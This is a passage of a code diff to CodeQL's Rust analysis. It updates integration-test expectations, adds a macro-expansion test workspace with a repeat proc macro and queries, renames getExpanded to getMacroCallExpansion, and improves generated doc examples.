b/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected @@ -9,6 +9,10 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "extractLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "findManifests": { "ms": "__REDACTED__", "pretty": "__REDACTED__" @@ -25,12 +29,16 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "parseLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "total": { "ms": "__REDACTED__", "pretty": "__REDACTED__" } }, - "numberOfFiles": 5, + "numberOfFiles": 4, "numberOfManifests": 1 }, "severity": "note", diff --git a/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected b/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected index 146d8514488e..511bd49f1a51 100644 --- a/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected +++ b/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected @@ -9,6 +9,10 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "extractLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "findManifests": { "ms": "__REDACTED__", "pretty": "__REDACTED__" @@ -25,12 +29,16 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "parseLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "total": { "ms": "__REDACTED__", "pretty": "__REDACTED__" } }, - "numberOfFiles": 5, + "numberOfFiles": 4, "numberOfManifests": 1 }, "severity": "note", diff --git a/rust/ql/integration-tests/hello-workspace/steps.cargo.expected b/rust/ql/integration-tests/hello-workspace/steps.cargo.expected index 03c81ea6fb71..32a3b1110247 100644 --- a/rust/ql/integration-tests/hello-workspace/steps.cargo.expected +++ b/rust/ql/integration-tests/hello-workspace/steps.cargo.expected @@ -5,8 +5,6 @@ | exe/src/main.rs:0:0:0:0 | Extract(exe/src/main.rs) | | exe/src/main.rs:0:0:0:0 | LoadSource(exe/src/main.rs) | | exe/src/main.rs:0:0:0:0 | Parse(exe/src/main.rs) | -| file:///types.rs:0:0:0:0 | Extract(/types.rs) | -| file:///types.rs:0:0:0:0 | Parse(/types.rs) | | file://:0:0:0:0 | CrateGraph | | file://:0:0:0:0 | FindManifests | | lib/src/a_module/mod.rs:0:0:0:0 | Extract(lib/src/a_module/mod.rs) | diff --git a/rust/ql/integration-tests/hello-workspace/steps.ql b/rust/ql/integration-tests/hello-workspace/steps.ql index fe45fc4b6dc8..a87e434b14a7 100644 --- a/rust/ql/integration-tests/hello-workspace/steps.ql +++ b/rust/ql/integration-tests/hello-workspace/steps.ql @@ -1,27 +1,5 @@ import codeql.rust.elements.internal.ExtractorStep -private class Step instanceof ExtractorStep { - string toString() { - result = super.getAction() + "(" + this.getFilePath() + ")" - or - not super.hasFile() and result = super.getAction() - } - - private string getFilePath() { - exists(File file | file = super.getFile() | - exists(file.getRelativePath()) and result = file.getAbsolutePath() - or - not exists(file.getRelativePath()) and result = "/" + file.getBaseName() - ) - } - - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - super.hasLocationInfo(_, startline, startcolumn, endline, endcolumn) and - filepath = this.getFilePath() - } -} - -from Step step +from ExtractorStep step +where not step.getAction() = ["ParseLibrary", "ExtractLibrary"] select step diff --git a/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected b/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected index 0cf90cf71e02..e9a65e0c7be5 100644 --- a/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected +++ b/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected @@ -4,8 +4,6 @@ | exe/src/main.rs:0:0:0:0 | Extract(exe/src/main.rs) | | exe/src/main.rs:0:0:0:0 | LoadSource(exe/src/main.rs) | | exe/src/main.rs:0:0:0:0 | Parse(exe/src/main.rs) | -| file:///types.rs:0:0:0:0 | Extract(/types.rs) | -| file:///types.rs:0:0:0:0 | Parse(/types.rs) | | file://:0:0:0:0 | CrateGraph | | file://:0:0:0:0 | FindManifests | | lib/src/a_module/mod.rs:0:0:0:0 | Extract(lib/src/a_module/mod.rs) | diff --git a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected index c845417a6244..5912f7d69baf 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected @@ -9,7 +9,7 @@ | Inconsistencies - Path resolution | 0 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | -| Lines of code extracted | 26 | +| Lines of code extracted | 9 | | Lines of user code extracted | 9 | | Macro calls - resolved | 2 | | Macro calls - total | 2 | diff --git a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected index c845417a6244..5912f7d69baf 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected @@ -9,7 +9,7 @@ | Inconsistencies - Path resolution | 0 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | -| Lines of code extracted | 26 | +| Lines of code extracted | 9 | | Lines of user code extracted | 9 | | Macro calls - resolved | 2 | | Macro calls - total | 2 | diff --git a/rust/ql/integration-tests/macro-expansion/Cargo.toml b/rust/ql/integration-tests/macro-expansion/Cargo.toml new file mode 100644 index 000000000000..9be2ec64b578 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/Cargo.toml @@ -0,0 +1,3 @@ +[workspace] +members = [ "attributes", "calls", "proc_macros"] +resolver = "2" diff --git a/rust/ql/integration-tests/macro-expansion/attributes/Cargo.toml b/rust/ql/integration-tests/macro-expansion/attributes/Cargo.toml new file mode 100644 index 000000000000..b475ead960af --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/attributes/Cargo.toml @@ -0,0 +1,7 @@ +[package] +name = "attributes" +version = "0.1.0" +edition = "2024" + +[dependencies] +proc_macros = { path = "../proc_macros" } diff --git a/rust/ql/integration-tests/macro-expansion/attributes/src/lib.rs b/rust/ql/integration-tests/macro-expansion/attributes/src/lib.rs new file mode 100644 index 000000000000..682083aa10ae --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/attributes/src/lib.rs @@ -0,0 +1,16 @@ +use proc_macros::repeat; + +#[repeat(3)] +fn foo() { + _ = concat!("Hello ", "world!"); + + #[repeat(2)] + fn inner() {} +} + +#[repeat(2)] +#[repeat(3)] +fn bar() {} + +#[repeat(0)] +fn baz() {} diff --git a/rust/ql/integration-tests/macro-expansion/calls/Cargo.toml b/rust/ql/integration-tests/macro-expansion/calls/Cargo.toml new file mode 100644 index 000000000000..d38cf944489e --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/calls/Cargo.toml @@ -0,0 +1,6 @@ +[package] +name = "calls" +version = "0.1.0" +edition = "2024" + +[dependencies] diff --git a/rust/ql/integration-tests/macro-expansion/calls/src/included.rs b/rust/ql/integration-tests/macro-expansion/calls/src/included.rs new file mode 100644 index 000000000000..7397e24bd81e --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/calls/src/included.rs @@ -0,0 +1,3 @@ +fn included() { + _ = concat!("Hello", " ", "world!"); // this doesn't expand (in included.rs) since 0.0.274 +} diff --git a/rust/ql/integration-tests/macro-expansion/calls/src/lib.rs b/rust/ql/integration-tests/macro-expansion/calls/src/lib.rs new file mode 100644 index 000000000000..df3fccb7c40a --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/calls/src/lib.rs @@ -0,0 +1,30 @@ +struct S; + +macro_rules! def_x { + () => { + fn x() {} + }; +} + +impl S { + def_x!(); // this doesn't expand since 0.0.274 +} + +macro_rules! my_macro { + ($head:expr, $($tail:tt)*) => { format!($head, $($tail)*) }; +} + + +fn test() { + _ = concat!("x", "y"); + + _ = my_macro!( + concat!("<", "{}", ">"), // this doesn't expand since 0.0.274 + "hi", + ); +} + +include!("included.rs"); + +#[doc = include_str!("some.txt")] // this doesn't expand since 0.0.274 +fn documented() {} diff --git a/rust/ql/integration-tests/macro-expansion/calls/src/some.txt b/rust/ql/integration-tests/macro-expansion/calls/src/some.txt new file mode 100644 index 000000000000..4c5477a837a9 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/calls/src/some.txt @@ -0,0 +1 @@ +Hey! diff --git a/rust/ql/integration-tests/macro-expansion/diagnostics.expected b/rust/ql/integration-tests/macro-expansion/diagnostics.expected new file mode 100644 index 000000000000..511bd49f1a51 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/diagnostics.expected @@ -0,0 +1,55 @@ +{ + "attributes": { + "durations": { + "crateGraph": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "extract": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "extractLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "findManifests": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "loadManifest": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "loadSource": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "parse": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "parseLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, + "total": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + } + }, + "numberOfFiles": 4, + "numberOfManifests": 1 + }, + "severity": "note", + "source": { + "extractorName": "rust", + "id": "rust/extractor/telemetry", + "name": "telemetry" + }, + "visibility": { + "cliSummaryTable": false, + "statusPage": false, + "telemetry": true + } +} diff --git a/rust/ql/integration-tests/macro-expansion/proc_macros/Cargo.toml b/rust/ql/integration-tests/macro-expansion/proc_macros/Cargo.toml new file mode 100644 index 000000000000..712f7ba33933 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/proc_macros/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "proc_macros" +version = "0.1.0" +edition = "2024" + +[lib] +proc-macro = true + +[dependencies] +quote = "1.0.40" +syn = { version = "2.0.100", features = ["full"] } diff --git a/rust/ql/integration-tests/macro-expansion/proc_macros/src/lib.rs b/rust/ql/integration-tests/macro-expansion/proc_macros/src/lib.rs new file mode 100644 index 000000000000..8d1f3be0e4ef --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/proc_macros/src/lib.rs @@ -0,0 +1,18 @@ +use proc_macro::TokenStream; +use quote::quote; + +#[proc_macro_attribute] +pub fn repeat(attr: TokenStream, item: TokenStream) -> TokenStream { + let number = syn::parse_macro_input!(attr as syn::LitInt).base10_parse::().unwrap(); + let ast = syn::parse_macro_input!(item as syn::ItemFn); + let items = (0..number) + .map(|i| { + let mut new_ast = ast.clone(); + new_ast.sig.ident = syn::Ident::new(&format!("{}_{}", ast.sig.ident, i), ast.sig.ident.span()); + new_ast + }) + .collect::>(); + quote! { + #(#items)* + }.into() +} diff --git a/rust/ql/integration-tests/macro-expansion/source_archive.expected b/rust/ql/integration-tests/macro-expansion/source_archive.expected new file mode 100644 index 000000000000..c1700a0a3003 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/source_archive.expected @@ -0,0 +1,4 @@ +attributes/src/lib.rs +calls/src/included.rs +calls/src/lib.rs +proc_macros/src/lib.rs diff --git a/rust/ql/integration-tests/macro-expansion/test.expected b/rust/ql/integration-tests/macro-expansion/test.expected new file mode 100644 index 000000000000..24d95c99b351 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/test.expected @@ -0,0 +1,34 @@ +attribute_macros +| attributes/src/lib.rs:3:1:9:1 | fn foo | 0 | attributes/src/lib.rs:4:1:8:16 | fn foo_0 | +| attributes/src/lib.rs:3:1:9:1 | fn foo | 1 | attributes/src/lib.rs:4:1:8:16 | fn foo_1 | +| attributes/src/lib.rs:3:1:9:1 | fn foo | 2 | attributes/src/lib.rs:4:1:8:16 | fn foo_2 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 0 | attributes/src/lib.rs:8:5:8:16 | fn inner_0 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 0 | attributes/src/lib.rs:8:5:8:16 | fn inner_0 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 0 | attributes/src/lib.rs:8:5:8:16 | fn inner_0 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 1 | attributes/src/lib.rs:8:5:8:16 | fn inner_1 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 1 | attributes/src/lib.rs:8:5:8:16 | fn inner_1 | +| attributes/src/lib.rs:7:5:8:16 | fn inner | 1 | attributes/src/lib.rs:8:5:8:16 | fn inner_1 | +| attributes/src/lib.rs:11:1:13:11 | fn bar | 0 | attributes/src/lib.rs:12:1:13:10 | fn bar_0 | +| attributes/src/lib.rs:11:1:13:11 | fn bar | 1 | attributes/src/lib.rs:12:1:13:10 | fn bar_1 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_0 | 0 | attributes/src/lib.rs:13:1:13:10 | fn bar_0_0 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_0 | 1 | attributes/src/lib.rs:13:1:13:10 | fn bar_0_1 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_0 | 2 | attributes/src/lib.rs:13:1:13:10 | fn bar_0_2 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_1 | 0 | attributes/src/lib.rs:13:1:13:10 | fn bar_1_0 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_1 | 1 | attributes/src/lib.rs:13:1:13:10 | fn bar_1_1 | +| attributes/src/lib.rs:12:1:13:10 | fn bar_1 | 2 | attributes/src/lib.rs:13:1:13:10 | fn bar_1_2 | +macro_calls +| attributes/src/lib.rs:5:9:5:34 | concat!... | attributes/src/lib.rs:5:17:5:34 | "Hello world!" | +| attributes/src/lib.rs:5:9:5:34 | concat!... | attributes/src/lib.rs:5:17:5:34 | "Hello world!" | +| attributes/src/lib.rs:5:9:5:34 | concat!... | attributes/src/lib.rs:5:17:5:34 | "Hello world!" | +| calls/src/included.rs:2:9:2:39 | concat!... | calls/src/included.rs:2:17:2:38 | "Hello world!" | +| calls/src/lib.rs:10:5:10:13 | def_x!... | calls/src/lib.rs:10:5:10:13 | MacroItems | +| calls/src/lib.rs:19:9:19:25 | concat!... | calls/src/lib.rs:19:17:19:24 | "xy" | +| calls/src/lib.rs:21:9:24:5 | my_macro!... | calls/src/lib.rs:22:9:23:13 | MacroExpr | +| calls/src/lib.rs:22:9:22:31 | concat!... | calls/src/lib.rs:22:17:22:30 | "<{}>" | +| calls/src/lib.rs:22:9:23:13 | ...::format_args!... | calls/src/lib.rs:22:9:23:13 | FormatArgsExpr | +| calls/src/lib.rs:22:9:23:13 | format!... | calls/src/lib.rs:22:9:23:13 | ...::must_use(...) | +| calls/src/lib.rs:27:1:27:24 | concat!... | calls/src/lib.rs:27:1:27:24 | "Hello world!" | +| calls/src/lib.rs:27:1:27:24 | include!... | calls/src/lib.rs:27:1:27:24 | MacroItems | +| calls/src/lib.rs:29:9:29:32 | include_str!... | calls/src/lib.rs:29:22:29:31 | "" | +unexpanded_macro_calls +| attributes/src/lib.rs:5:9:5:35 | concat!... | diff --git a/rust/ql/integration-tests/macro-expansion/test.ql b/rust/ql/integration-tests/macro-expansion/test.ql new file mode 100644 index 000000000000..439ffab9a293 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/test.ql @@ -0,0 +1,15 @@ +import rust + +query predicate attribute_macros(Item i, int index, Item expanded) { + i.fromSource() and expanded = i.getAttributeMacroExpansion().getItem(index) +} + +query predicate macro_calls(MacroCall c, AstNode expansion) { + c.fromSource() and + not c.getLocation().getFile().getAbsolutePath().matches("%proc_macros%") and + expansion = c.getMacroCallExpansion() +} + +query predicate unexpanded_macro_calls(MacroCall c) { + c.fromSource() and not c.hasMacroCallExpansion() +} diff --git a/rust/ql/integration-tests/macro-expansion/test_macro_expansion.py b/rust/ql/integration-tests/macro-expansion/test_macro_expansion.py new file mode 100644 index 000000000000..0d20cc2e27da --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/test_macro_expansion.py @@ -0,0 +1,2 @@ +def test_macro_expansion(codeql, rust, check_source_archive, rust_check_diagnostics): + codeql.database.create() diff --git a/rust/ql/integration-tests/options/features/functions.expected b/rust/ql/integration-tests/options/features/functions.none.expected similarity index 100% rename from rust/ql/integration-tests/options/features/functions.expected rename to rust/ql/integration-tests/options/features/functions.none.expected diff --git a/rust/ql/integration-tests/options/features/test_features_option.py b/rust/ql/integration-tests/options/features/test_features_option.py index 75c5058be078..bb1b57c8de53 100644 --- a/rust/ql/integration-tests/options/features/test_features_option.py +++ b/rust/ql/integration-tests/options/features/test_features_option.py @@ -1,5 +1,6 @@ import pytest +@pytest.mark.ql_test(expected=".all.expected") def test_default(codeql, rust): codeql.database.create() @@ -8,10 +9,33 @@ def test_default(codeql, rust): pytest.param(p, marks=pytest.mark.ql_test(expected=f".{e}.expected")) for p, e in ( + ("default", "none"), ("foo", "foo"), ("bar", "bar"), ("*", "all"), - ("foo,bar", "all")) + ("foo,bar", "all"), + ("default,foo", "foo"), + ("default,bar", "bar"), + ) ]) def test_features(codeql, rust, features): codeql.database.create(extractor_option=f"cargo_features={features}") + +@pytest.mark.parametrize("features", + [ + pytest.param(p, + marks=pytest.mark.ql_test(expected=f".{e}.expected")) + for p, e in ( + ("default", "foo"), + ("foo", "foo"), + ("bar", "bar"), + ("*", "all"), + ("foo,bar", "all"), + ("default,foo", "foo"), + ("default,bar", "all"), + ) + ]) +def test_features_with_default(codeql, rust, features): + with open("Cargo.toml", "a") as f: + print('default = ["foo"]', file=f) + codeql.database.create(extractor_option=f"cargo_features={features}") diff --git a/rust/ql/integration-tests/workspace-with-glob/steps.expected b/rust/ql/integration-tests/workspace-with-glob/steps.expected index 0ee55e79623f..4b0e6ed828b6 100644 --- a/rust/ql/integration-tests/workspace-with-glob/steps.expected +++ b/rust/ql/integration-tests/workspace-with-glob/steps.expected @@ -1,8 +1,6 @@ | Cargo.toml:0:0:0:0 | LoadManifest(Cargo.toml) | | exe/src/main.rs:0:0:0:0 | Extract(exe/src/main.rs) | | exe/src/main.rs:0:0:0:0 | Parse(exe/src/main.rs) | -| file:///types.rs:0:0:0:0 | Extract(/types.rs) | -| file:///types.rs:0:0:0:0 | Parse(/types.rs) | | file://:0:0:0:0 | CrateGraph | | file://:0:0:0:0 | FindManifests | | lib/src/lib.rs:0:0:0:0 | Extract(lib/src/lib.rs) | diff --git a/rust/ql/integration-tests/workspace-with-glob/steps.ql b/rust/ql/integration-tests/workspace-with-glob/steps.ql index fe45fc4b6dc8..a87e434b14a7 100644 --- a/rust/ql/integration-tests/workspace-with-glob/steps.ql +++ b/rust/ql/integration-tests/workspace-with-glob/steps.ql @@ -1,27 +1,5 @@ import codeql.rust.elements.internal.ExtractorStep -private class Step instanceof ExtractorStep { - string toString() { - result = super.getAction() + "(" + this.getFilePath() + ")" - or - not super.hasFile() and result = super.getAction() - } - - private string getFilePath() { - exists(File file | file = super.getFile() | - exists(file.getRelativePath()) and result = file.getAbsolutePath() - or - not exists(file.getRelativePath()) and result = "/" + file.getBaseName() - ) - } - - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - super.hasLocationInfo(_, startline, startcolumn, endline, endcolumn) and - filepath = this.getFilePath() - } -} - -from Step step +from ExtractorStep step +where not step.getAction() = ["ParseLibrary", "ExtractLibrary"] select step diff --git a/rust/ql/lib/CHANGELOG.md b/rust/ql/lib/CHANGELOG.md index 3000a1098cc4..85c29db05c19 100644 --- a/rust/ql/lib/CHANGELOG.md +++ b/rust/ql/lib/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.1.10 + +No user-facing changes. + +## 0.1.9 + +No user-facing changes. + ## 0.1.8 No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.10.md b/rust/ql/lib/change-notes/released/0.1.10.md new file mode 100644 index 000000000000..47358eeee934 --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.10.md @@ -0,0 +1,3 @@ +## 0.1.10 + +No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.9.md b/rust/ql/lib/change-notes/released/0.1.9.md new file mode 100644 index 000000000000..e93006d794f2 --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.9.md @@ -0,0 +1,3 @@ +## 0.1.9 + +No user-facing changes. diff --git a/rust/ql/lib/codeql-pack.release.yml b/rust/ql/lib/codeql-pack.release.yml index 3136ea4a1cc9..30f5ca88be0e 100644 --- a/rust/ql/lib/codeql-pack.release.yml +++ b/rust/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.8 +lastReleaseVersion: 0.1.10 diff --git a/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll index e68f2efde5b6..a118cf6b4720 100644 --- a/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll @@ -217,7 +217,7 @@ final class MacroCallCfgNode extends Nodes::MacroCallCfgNode { /** Gets the CFG node for the expansion of this macro call, if it exists. */ CfgNode getExpandedNode() { - any(ChildMapping mapping).hasCfgChild(node, node.getExpanded(), this, result) + any(ChildMapping mapping).hasCfgChild(node, node.getMacroCallExpansion(), this, result) } } diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll index 2f1f710df837..e32028885110 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll @@ -75,7 +75,7 @@ class StructPatChildMapping extends ParentAstNode, StructPat { } class MacroCallChildMapping extends ParentAstNode, MacroCall { - override predicate relevantChild(AstNode child) { child = this.getExpanded() } + override predicate relevantChild(AstNode child) { child = this.getMacroCallExpansion() } } class FormatArgsExprChildMapping extends ParentAstNode, CfgImpl::ExprTrees::FormatArgsExprTree { diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll b/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll index 1107068606f1..01169ce2727a 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll @@ -160,7 +160,7 @@ private predicate guaranteedMatchPosition(Pat pat) { parent.(OrPat).getLastPat() = pat or // for macro patterns we propagate to the expanded pattern - parent.(MacroPat).getMacroCall().getExpanded() = pat + parent.(MacroPat).getMacroCall().getMacroCallExpansion() = pat ) } diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll index 943e6ed020d8..522eaf59fe6d 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll @@ -143,7 +143,9 @@ class LetStmtTree extends PreOrderTree, LetStmt { } class MacroCallTree extends StandardPostOrderTree, MacroCall { - override AstNode getChildNode(int i) { i = 0 and result = this.getExpanded() } + MacroCallTree() { not this.getParentNode() instanceof MacroPat } + + override AstNode getChildNode(int i) { i = 0 and result = this.getMacroCallExpansion() } } class MacroBlockExprTree extends StandardPostOrderTree, MacroBlockExpr { @@ -685,7 +687,7 @@ module PatternTrees { } class MacroPatTree extends PreOrderPatTree, MacroPat { - override Pat getPat(int i) { i = 0 and result = this.getMacroCall().getExpanded() } + override Pat getPat(int i) { i = 0 and result = this.getMacroCall().getMacroCallExpansion() } } class OrPatTree extends PostOrderPatTree instanceof OrPat { diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index f3cf52dab76c..cfa37ed45394 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -198,7 +198,8 @@ module MakeCfgNodes Input> { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ @@ -968,9 +969,13 @@ module MakeCfgNodes Input> { } /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ final class ForExprCfgNode extends CfgNodeFinal, LoopingExprCfgNode { @@ -1823,9 +1828,11 @@ module MakeCfgNodes Input> { } /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); * ``` */ final class MacroCallCfgNode extends CfgNodeFinal { @@ -1872,14 +1879,14 @@ module MakeCfgNodes Input> { predicate hasTokenTree() { exists(this.getTokenTree()) } /** - * Gets the expanded of this macro call, if it exists. + * Gets the macro call expansion of this macro call, if it exists. */ - AstNode getExpanded() { result = node.getExpanded() } + AstNode getMacroCallExpansion() { result = node.getMacroCallExpansion() } /** - * Holds if `getExpanded()` exists. + * Holds if `getMacroCallExpansion()` exists. */ - predicate hasExpanded() { exists(this.getExpanded()) } + predicate hasMacroCallExpansion() { exists(this.getMacroCallExpansion()) } } final private class ParentMacroExpr extends ParentAstNode, MacroExpr { @@ -1891,9 +1898,11 @@ module MakeCfgNodes Input> { } /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ final class MacroExprCfgNode extends CfgNodeFinal, ExprCfgNode { @@ -1926,9 +1935,20 @@ module MakeCfgNodes Input> { } /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } + * match x { + * my_macro!() => "matched", + * // ^^^^^^^^^^^ + * _ => "not matched", + * } * ``` */ final class MacroPatCfgNode extends CfgNodeFinal, PatCfgNode { @@ -2082,9 +2102,12 @@ module MakeCfgNodes Input> { } /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ final class NameCfgNode extends CfgNodeFinal { @@ -2696,9 +2719,12 @@ module MakeCfgNodes Input> { } /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ final class RestPatCfgNode extends CfgNodeFinal, PatCfgNode { @@ -2961,9 +2987,12 @@ module MakeCfgNodes Input> { } /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ final class TryExprCfgNode extends CfgNodeFinal, ExprCfgNode { @@ -3186,9 +3215,13 @@ module MakeCfgNodes Input> { } /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ final class WhileExprCfgNode extends CfgNodeFinal, LoopingExprCfgNode { diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll index f8e24c4c34a9..f0dc961a9f93 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll @@ -29,3 +29,25 @@ private module Input implements InputSig { } import MakeConsistency +private import codeql.rust.dataflow.internal.ModelsAsData + +query predicate missingMadSummaryCanonicalPath(string crate, string path, Addressable a) { + summaryModel(crate, path, _, _, _, _, _) and + a.getCrateOrigin() = crate and + a.getExtendedCanonicalPath() = path and + not exists(a.getCanonicalPath()) +} + +query predicate missingMadSourceCanonicalPath(string crate, string path, Addressable a) { + sourceModel(crate, path, _, _, _, _) and + a.getCrateOrigin() = crate and + a.getExtendedCanonicalPath() = path and + not exists(a.getCanonicalPath()) +} + +query predicate missingMadSinkCanonicalPath(string crate, string path, Addressable a) { + sinkModel(crate, path, _, _, _, _) and + a.getCrateOrigin() = crate and + a.getExtendedCanonicalPath() = path and + not exists(a.getCanonicalPath()) +} diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll index ff3c0c4b935d..1715f87df867 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll @@ -534,97 +534,103 @@ module RustDataFlow implements InputSig { exists(c) } + pragma[nomagic] + additional predicate readContentStep(Node node1, Content c, Node node2) { + exists(TupleStructPatCfgNode pat, int pos | + pat = node1.asPat() and + node2.asPat() = pat.getField(pos) and + c = TTupleFieldContent(pat.getTupleStructPat().getTupleField(pos)) + ) + or + exists(TuplePatCfgNode pat, int pos | + pos = c.(TuplePositionContent).getPosition() and + node1.asPat() = pat and + node2.asPat() = pat.getField(pos) + ) + or + exists(StructPatCfgNode pat, string field | + pat = node1.asPat() and + c = TStructFieldContent(pat.getStructPat().getStructField(field)) and + node2.asPat() = pat.getFieldPat(field) + ) + or + c instanceof ReferenceContent and + node1.asPat().(RefPatCfgNode).getPat() = node2.asPat() + or + exists(FieldExprCfgNode access | + node1.asExpr() = access.getContainer() and + node2.asExpr() = access and + access = c.(FieldContent).getAnAccess() + ) + or + 